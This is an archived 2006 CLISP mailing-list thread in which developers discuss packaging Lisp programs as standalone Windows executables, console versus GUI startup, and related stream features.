smtp02.mrf.mail.rcn.net with ESMTP; 03 Jan 2006 01:53:43 -0500 X-IronPort-AV: i="3.99,324,1131339600"; d="scan'208"; a="190854835:sNHT24172556" To: clisp-list@lists.sourceforge.net, "Frank Buss" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20051229053728.4C47E38BD7@smtp1.netcologne.de> (Frank Buss's message of "Thu, 29 Dec 2005 06:37:31 +0100") References: <20051229005703.033FE38CB1@smtp1.netcologne.de> <20051229053728.4C47E38BD7@smtp1.netcologne.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Frank Buss" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Windows standalone application Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 2 22:54:06 2006 X-Original-Date: Tue, 03 Jan 2006 01:52:34 -0500 > * Frank Buss [2005-12-29 06:37:31 +0100]: > > To deliver a Lisp application in one file, I've patched the > source. Now at startup it looks for some marker bytes in the program > file itself, when called with no arguments. If found, it uses the > bytes after the marker as the image. I implemented something similar in the CVS: try (saveinitmem "foo" :executable t) to get a standalone "foo.exe". > Perhaps someone with more knowledge of the CLISP build files can > integrate this with a configure option (after fixing the stdin/out/err > problem), e.g. "--build-windows-version", like for Java: there is a > java.exe application, which uses a console and a javaw.exe, which uses > WinMain for Windows mode. The CLISP build scripts could create > similiar files: lisp.exe and lispw.exe, when enabled. I don't understand the need to the non-console version. clisp has a repl, how do you get it without a console? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.iris.org.il http://pmw.org.il/ http://ffii.org/ http://www.palestinefacts.org/ http://www.savegushkatif.org If I had known that it was harmless, I would have killed it myself. From ampy@ich.dvo.ru Mon Jan 02 23:13:42 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EtgMV-000351-W9 for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 23:13:39 -0800 Received: from chemi.ich.dvo.ru ([62.76.7.28]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EtgMU-0000bT-BN for clisp-list@lists.sourceforge.net; Mon, 02 Jan 2006 23:13:39 -0800 Received: by chemi.ich.dvo.ru (Postfix, from userid 651) id 77A7C12FBD2; Tue, 3 Jan 2006 17:13:23 +1000 (VLAT) Received: from EP-ZH018903 (unknown [192.168.8.116]) by chemi.ich.dvo.ru (Postfix) with ESMTP id 590BE12FBCF; Tue, 3 Jan 2006 17:13:23 +1000 (VLAT) From: Arseny Slobodyuk X-Mailer: The Bat! (v1.60q) Reply-To: Arseny Slobodyuk Organization: ICH X-Priority: 3 (Normal) Message-ID: <2815375828.20060103171637@ich.dvo.ru> To: Sam Steingold CC: clisp-list@lists.sourceforge.net, "Frank Buss" Subject: Re: [clisp-list] Re: Windows standalone application In-Reply-To: References: <20051229005703.033FE38CB1@smtp1.netcologne.de> <20051229053728.4C47E38BD7@smtp1.netcologne.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 2 23:24:00 2006 X-Original-Date: Tue, 3 Jan 2006 17:16:37 +1000 > I don't understand the need to the non-console version. > clisp has a repl, how do you get it without a console? When I came into this with my embeddable lisp project, I had to implement an "GDI console" layer and work through it. So when Lisp is started for interactive session, textmode console is used, if it started as a part of GUI project, Lisp window (the console emulator) is hidden and exhibits itself only when Lisp error is thrown. It was the non trivial task to go through the sources and change every console interface call. Moreother, there arise some thread issues, not the whole "arbitrary MT" problem though. GUI and Lisp should be executed in different threads to make the GUI code be able to execute when the Lisp thread is stopped. -- Arseny From fb@frank-buss.de Tue Jan 03 01:00:54 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eti2D-0007fu-A0 for clisp-list@lists.sourceforge.net; Tue, 03 Jan 2006 01:00:49 -0800 Received: from smtp2.netcologne.de ([194.8.194.218]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eti2C-0001Js-3u for clisp-list@lists.sourceforge.net; Tue, 03 Jan 2006 01:00:49 -0800 Received: from galilei (xdsl-81-173-253-201.netcologne.de [81.173.253.201]) by smtp2.netcologne.de (Postfix) with ESMTP id B5976462C for ; Tue, 3 Jan 2006 10:00:39 +0100 (MET) From: "Frank Buss" To: Subject: RE: [clisp-list] Re: Windows standalone application MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 In-Reply-To: Thread-Index: AcYQMn7l5Wbnu96sSCGvDxKDx3SbsQADm+LA Message-Id: <20060103090039.B5976462C@smtp2.netcologne.de> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 3 01:01:03 2006 X-Original-Date: Tue, 3 Jan 2006 10:00:44 +0100 > -----Original Message----- > From: Sam Steingold > I implemented something similar in the CVS: > try (saveinitmem "foo" :executable t) to get a standalone "foo.exe". I've tried this with the current CVS version: [1]> (saveinitmem "foo" :executable t) *** - SAVEINITMEM: illegal keyword/value pair :EXECUTABLE, T in argument list. The allowed keywords are (:QUIET :INIT-FUNCTION :VERBOSE :KEEP-GLOBAL-HANDLERS :START-PACKAGE :LOCKED-PACKAGES) > I don't understand the need to the non-console version. > clisp has a repl, how do you get it without a console? The reason for a non-console version is to have a foo.exe program, which can be double-clicked by the end-user and which doesn't open an additional console window in background. This is very useful in combination with ":executable t". The end-user (assuming "normal" peoples, not programmers like we are :-) doesn't need and doesn't want a repl. But instead of just disabling the repl for the lisp-w-version, something like Arseny Slobodyuk described would be useful. Perhaps this could be the default for Windows: The lisp.exe program is a Windows executable without a console window, but if started in interactive mode with a special command line switch, then a console window is created and attached (you can do this in Windows with the AllocConsole function), if not already started from a console. Otherwise it is started without a console window (but stdin/stdout/stderr-rerouting should be still possible, like in every other normal Windows application and unlike in my hack). For backward compatibility the clisp.exe starter can pass this command line switch. -- Frank Buss, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From kavenchuk@jenty.by Tue Jan 03 01:27:44 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EtiSG-0000g8-Pn for clisp-list@lists.sourceforge.net; Tue, 03 Jan 2006 01:27:44 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EtiSF-0000yt-Dk for clisp-list@lists.sourceforge.net; Tue, 03 Jan 2006 01:27:44 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id Z8FQJSBK; Tue, 3 Jan 2006 11:29:18 +0200 Message-ID: <43BA43F8.6020008@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: GNU CLISP 2.37 (2006-01-02) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 3 01:28:01 2006 X-Original-Date: Tue, 03 Jan 2006 11:29:28 +0200 Oops! :) Thanks! Build mingw-version with gettext and readline? Thanks again! -- WBR, Yaroslav Kavenchuk. From Joerg-Cyril.Hoehle@t-systems.com Tue Jan 03 02:33:43 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EtjU2-0003qb-C5 for clisp-list@lists.sourceforge.net; Tue, 03 Jan 2006 02:33:38 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EtjU0-0006y2-QN for clisp-list@lists.sourceforge.net; Tue, 03 Jan 2006 02:33:38 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 3 Jan 2006 11:33:27 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 3 Jan 2006 11:33:27 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0307A8CFAD@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: Windows standalone application MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 3 02:34:09 2006 X-Original-Date: Tue, 3 Jan 2006 11:33:27 +0100 Arseny Slobodyuk wrote: >It was the non trivial task to go through the sources and change >every console interface call. How comes? AFAIK src/stream.d encapsulates all the handling of *terminal-io*. I don't understand what you did and what the result is. >if it >started as a part of GUI project, Lisp window (the console emulator) >is hidden and exhibits itself only when Lisp error is thrown. The Amiga-CLISP could do this. AmigaOS has console windows which open only when accessed. I.e. Opening the file does not open the window yet. Only when I/O occurs (print or read) does the window open. This is indeed a nice feature, and people can redirect *error-output*, *debug-io* etc. to such a stream. IIRC you can even close such a window, and it will reopen again when needed (unless the application exits when it sees an EOF -- this is better suited for output-only windows, e.g. one for *trace-output*). Actually, my Amiga-CLISP startup code provided such a window when started via the GUI (called Workbench). More concretely, it allowed the user to define the dimensions of the initial console window and a few other features. When I mentioned this some years ago, Sam implemented ext:make-xterm-io-stream for UNIX. So there also, you can send i/o to separate windows. (In comparison, the xterm-io-stream looks a bit bare-bones: no scrollbars(ouch!), title not directly settable (presumably via some Escape-sequence, and easy to fix in the syscalls module), and unexpected output ("/dev/pts9") appears in it). Since the user could define the "console" opened when launching CLISP from the Workbench, s/he could even attach it to a TCP/IP stream instead of a window (On Linux, one may use /dev/tcp/port... to achieve this effect, i.e. ext:socket-server+attach-to-first-connect)! Frank Buss wrote: >Otherwise it is started without a >console window (but stdin/stdout/stderr-rerouting should be still possible, >like in every other normal Windows application and unlike in my hack). I don't understand what you mean. How can you redirect something without a console to start with?? > but if started in interactive >mode with a special command line switch, then a console window is created >and attached (you can do this in Windows with the AllocConsole function), if >not already started from a console. In my experience this is not a good idea. I always prefer applications to use a console that I've opened myself, which possibly has scrollbars, comfortable line-editing, Copy&Paste and other extensions instead of seeing applications open a bare-bones window and declare that as their "console". E.g., IIRC, the dos4gw thing opens its own window. What a pity! Often dos4gw is quite old, and its console window does not integrate nicely in a MS-Windows-2k environment. IIRC, even the keyboard is not properly recognized, I remember getting a US layout, not corresponding to my german keyboard. :-( IMHO, an easier and portable solution to getting lisp.exe to start with a predefined image would be some environment variable that gives the location of the image (if -M is missing). That would work on all platforms. If I'm not mistaken, MS-windows provides means to set variables on a per-icon basis, and you need not set this variable globally in your MS-windows environment. I believe that the combination of lisp.exe/run and .mem is all that's needed for a stand-alone application (reduced to 2 files + icon file). I believe the rest is a matter of a proper (ext:saveinitmem :init-function) and -q switch. -q should prevent CLISP from talking to it's *standard-input/output* and the :init-function opens the GUI. Well, GUIs that provide for icon files typically provide for means of setting the command + arguments as well. So -M via getenv is not needed either. Oh well, I just reinvented CLISP's old application delivery section in impnotes :-( Regards, Jorg Hohle. From ampy@ich.dvo.ru Tue Jan 03 05:05:16 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Etlql-00037p-42 for clisp-list@lists.sourceforge.net; Tue, 03 Jan 2006 05:05:15 -0800 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Etlqj-0003jd-9V for clisp-list@lists.sourceforge.net; Tue, 03 Jan 2006 05:05:15 -0800 Received: from lenin (host-212-16-220-99.hosts.vtc.ru [212.16.220.99]) by vtc.ru (8.13.4/8.13.4) with ESMTP id k03D51g1022739; Tue, 3 Jan 2006 23:05:03 +1000 Authentication-Results: vtc.ru from=ampy@ich.dvo.ru; sender-id=neutral; spf=neutral From: Arseny Slobodyuk X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodyuk Organization: ICH X-Priority: 3 (Normal) Message-ID: <12615303265.20060103230453@ich.dvo.ru> To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Windows standalone application In-reply-To: <5F9130612D07074EB0A0CE7E69FD7A0307A8CFAD@S4DE8PSAAGS.blf.telekom.de> References: <5F9130612D07074EB0A0CE7E69FD7A0307A8CFAD@S4DE8PSAAGS.blf.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 3 05:06:02 2006 X-Original-Date: Tue, 3 Jan 2006 23:04:53 +1000 >>It was the non trivial task to go through the sources and change >>every console interface call. > How comes? AFAIK src/stream.d encapsulates all the handling of *terminal-io*. > I don't understand what you did and what the result is. Well, the project wasn't clisp. Clisp isn't quite embeddable for me... But you're probably right, special stream type is what is required here. Source scanning was necessary for me because interface wasn't simple puts/gets, but random screen access was used, so I need to change these extended stream calls. Here this shouldn't be the case. > E.g., IIRC, the dos4gw thing opens its own window. What a pity! > Often dos4gw is quite old, and its console window does not integrate > nicely in a MS-Windows-2k environment. IIRC, even the keyboard is > not properly recognized, I remember getting a US layout, not > corresponding to my german keyboard. :-( Well, AllocConsole opens standard system console and as far as WIN32 system is concerned and that bad things shouldn't happen. The point is not to show the console to the end user (say, a Sokoban player), who might be scared of it. > IMHO, an easier and portable solution to getting lisp.exe to start > with a predefined image would be some environment variable that > gives the location of the image (if -M is missing). That would work > on all platforms. If I'm not mistaken, MS-windows provides means to > set variables on a per-icon basis, and you need not set this > variable globally in your MS-windows environment. AFAIK, enviroinment variables isn't settable, but command line of a shortcut (you call it "icon") can include arguments, so provided there's a nice installer, -M isn't a problem. -- Best regards, Arseny From sds@gnu.org Tue Jan 03 06:36:16 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EtnGp-0007pS-TB for clisp-list@lists.sourceforge.net; Tue, 03 Jan 2006 06:36:15 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EtnGm-0004yn-Sx for clisp-list@lists.sourceforge.net; Tue, 03 Jan 2006 06:36:15 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.99]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k03EZJOf028551; Tue, 3 Jan 2006 09:35:20 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43BA43F8.6020008@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 03 Jan 2006 11:29:28 +0200") References: <43BA43F8.6020008@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: GNU CLISP 2.37 (2006-01-02) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 3 06:37:15 2006 X-Original-Date: Tue, 03 Jan 2006 09:34:29 -0500 > * Yaroslav Kavenchuk [2006-01-03 11:29:28 +0200]: > > Build mingw-version with gettext and readline? sure, please go ahead! -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.jihadwatch.org/ http://www.iris.org.il http://truepeace.org http://www.camera.org http://pmw.org.il/ main(a){a="main(a){a=%c%s%c;printf(a,34,a,34);}";printf(a,34,a,34);} From sds@gnu.org Tue Jan 03 06:51:11 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EtnVH-0000LJ-4A for clisp-list@lists.sourceforge.net; Tue, 03 Jan 2006 06:51:11 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EtnVE-000419-Km for clisp-list@lists.sourceforge.net; Tue, 03 Jan 2006 06:51:11 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.99]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k03EogVj029175; Tue, 3 Jan 2006 09:50:44 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Frank Buss" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060103090039.B5976462C@smtp2.netcologne.de> (Frank Buss's message of "Tue, 3 Jan 2006 10:00:44 +0100") References: <20060103090039.B5976462C@smtp2.netcologne.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Frank Buss" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Windows standalone application Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 3 06:53:43 2006 X-Original-Date: Tue, 03 Jan 2006 09:49:48 -0500 > * Frank Buss [2006-01-03 10:00:44 +0100]: > >> -----Original Message----- >> From: Sam Steingold >> I implemented something similar in the CVS: >> try (saveinitmem "foo" :executable t) to get a standalone "foo.exe". > > I've tried this with the current CVS version: > > [1]> (saveinitmem "foo" :executable t) > > *** - SAVEINITMEM: illegal keyword/value pair :EXECUTABLE, T in argument > list. > The allowed keywords are > (:QUIET :INIT-FUNCTION :VERBOSE :KEEP-GLOBAL-HANDLERS :START-PACKAGE > :LOCKED-PACKAGES) there is a delay between developer cvs and anon cvs. please try again in a couple of hours -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.savegushkatif.org http://ffii.org/ http://www.camera.org http://www.iris.org.il http://www.dhimmi.com/ http://www.palestinefacts.org/ God had a deadline, so He wrote it all in Lisp. From sds@gnu.org Tue Jan 03 06:55:30 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EtnZN-0000dC-DK for clisp-list@lists.sourceforge.net; Tue, 03 Jan 2006 06:55:25 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EtnZM-0002UC-0B for clisp-list@lists.sourceforge.net; Tue, 03 Jan 2006 06:55:25 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.99]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k03EsfWK029505; Tue, 3 Jan 2006 09:54:46 -0500 (EST) To: clisp-list@lists.sourceforge.net, Arseny Slobodyuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <2815375828.20060103171637@ich.dvo.ru> (Arseny Slobodyuk's message of "Tue, 3 Jan 2006 17:16:37 +1000") References: <20051229005703.033FE38CB1@smtp1.netcologne.de> <20051229053728.4C47E38BD7@smtp1.netcologne.de> <2815375828.20060103171637@ich.dvo.ru> Mail-Followup-To: clisp-list@lists.sourceforge.net, Arseny Slobodyuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Windows standalone application Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 3 06:56:05 2006 X-Original-Date: Tue, 03 Jan 2006 09:53:51 -0500 > * Arseny Slobodyuk [2006-01-03 17:16:37 +1000]: > > So when Lisp is started for interactive session, textmode console is > used, if it started as a part of GUI project, Lisp window (the console > emulator) is hidden and exhibits itself only when Lisp error is > thrown. this would be nice. http://www.cygwin.com/acronyms/#PTC I don't want a configure option, win32 should always use winmain, but this should not break bootstrap and console debugging. hack on! -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.mideasttruth.com/ http://www.openvotingconsortium.org/ http://www.palestinefacts.org/ http://pmw.org.il/ http://truepeace.org I don't have an attitude problem. You have a perception problem. From sds@gnu.org Tue Jan 03 07:00:53 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Etnee-0000v8-AA for clisp-list@lists.sourceforge.net; Tue, 03 Jan 2006 07:00:52 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Etnec-00026H-Hn for clisp-list@lists.sourceforge.net; Tue, 03 Jan 2006 07:00:52 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.99]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k03F05uq029680; Tue, 3 Jan 2006 10:00:10 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0307A8CFAD@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Tue, 3 Jan 2006 11:33:27 +0100") References: <5F9130612D07074EB0A0CE7E69FD7A0307A8CFAD@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Windows standalone application Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 3 07:01:54 2006 X-Original-Date: Tue, 03 Jan 2006 09:59:11 -0500 > * Hoehle, Joerg-Cyril [2006-01-03 11:33:27 +0100]: > > When I mentioned this some years ago, Sam implemented > ext:make-xterm-io-stream for UNIX. So there also, you can send i/o to > separate windows. (In comparison, the xterm-io-stream looks a bit > bare-bones: no scrollbars(ouch!), fix your X resources. > title not directly settable OK, make-xterm-io-stream now accepts :title -- Sam Steingold (http://www.podval.org/~sds) running w2k http://pmw.org.il/ http://www.dhimmi.com/ http://www.mideasttruth.com/ http://www.jihadwatch.org/ http://www.palestinefacts.org/ A computer scientist is someone who fixes things that aren't broken. From sds@gnu.org Tue Jan 03 10:04:40 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EtqWS-0002p4-95 for clisp-list@lists.sourceforge.net; Tue, 03 Jan 2006 10:04:36 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EtqWO-0006E6-G9 for clisp-list@lists.sourceforge.net; Tue, 03 Jan 2006 10:04:36 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.99]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k03I3v3Q008905; Tue, 3 Jan 2006 13:03:58 -0500 (EST) To: clisp-list@lists.sourceforge.net, Arseny Slobodyuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <12615303265.20060103230453@ich.dvo.ru> (Arseny Slobodyuk's message of "Tue, 3 Jan 2006 23:04:53 +1000") References: <5F9130612D07074EB0A0CE7E69FD7A0307A8CFAD@S4DE8PSAAGS.blf.telekom.de> <12615303265.20060103230453@ich.dvo.ru> Mail-Followup-To: clisp-list@lists.sourceforge.net, Arseny Slobodyuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Windows standalone application Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net 